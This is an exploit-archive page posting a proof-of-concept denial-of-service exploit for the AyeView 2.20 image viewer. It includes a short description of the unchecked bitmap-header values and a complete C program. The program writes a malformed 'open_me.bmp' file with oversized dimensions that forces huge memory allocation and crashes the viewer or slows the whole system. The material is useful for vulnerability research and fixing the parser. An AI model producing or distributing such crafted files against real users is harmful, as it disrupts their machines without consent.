exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ayeview-dos.txt

ayeview-dos.txt
Posted Oct 6, 2008
Authored by suN8Hclf | Site dark-coders.pl

AyeView version 2.20 invalid bitmap header parsing denial of service exploit.

tags | exploit, denial of service
SHA-256 | 9ada5ff4a3bb577bc6fa51dcabf831e6a852b7dad6b7e60fdc54fd6afbbb3fc4

ayeview-dos.txt

Change Mirror Download
Name      : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind,
Katharsis, str0ke, all from #dark-coders and others;]

Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit -> the system really slowed down
Second start(another values)-> I got a message that "the amount of virtual memory
is too low", explorer.exe crashed
Third start(another values) -> AyeView crashed

PoC:
------------------------------exploit---------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

struct bmpfile_header{
short bfType;
int bfSize;
int Res;
int bfOffBits;
int biSize;
int biWidth;
int biHeight;
short biPlanes;
short biBitCount;
int biCompression;
int biSizeImage;
int biXPelsPerMeter;
int biYPelsPerMeter;
int biClrUsed;
char biClrImportant;
char biClrRotation;
short biReserved;
}__attribute__((packed)); //shift to 54 bytes


#define WIDTH 3000 //play around with these values...
#define HEIGHT 60000
#define Y 44432
#define X 54444

int main(int argc, char *argv[])
{
struct bmpfile_header *bmpheader;
char *memory;
FILE *f;

memory=(char *)malloc(60);
if(memory==NULL){
perror("malloc");
return -1;
}
memset(memory, 0, 60);
bmpheader=(struct bmpfile_header *)memory;
printf("[+]Building bitmap... :)\n");
bmpheader->bfType=*(short *)"BM";
bmpheader->bfSize=(int)60;
bmpheader->Res=0;
bmpheader->bfOffBits=54;
bmpheader->biSize=40;
bmpheader->biHeight=(int)HEIGHT;
bmpheader->biWidth=(int)WIDTH;
bmpheader->biPlanes=1;
bmpheader->biBitCount=24;
bmpheader->biCompression=0;
bmpheader->biSizeImage=6;
bmpheader->biXPelsPerMeter=(int)X;
bmpheader->biYPelsPerMeter=(int)Y;
bmpheader->biClrUsed=255*255*255;
bmpheader->biClrImportant=0;
bmpheader->biClrRotation=0;

f=fopen("open_me.bmp", "wb");
if(!f){
perror("fopen");
free(memory);
exit(-1);
}
fwrite(memory, 1, 60, f);
fclose(f);
printf("[+]open_me.bmp bitmap created :)\n");
free(memory);
return 0;
}
------------------------------exploit---------------------------

Stay secure...


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close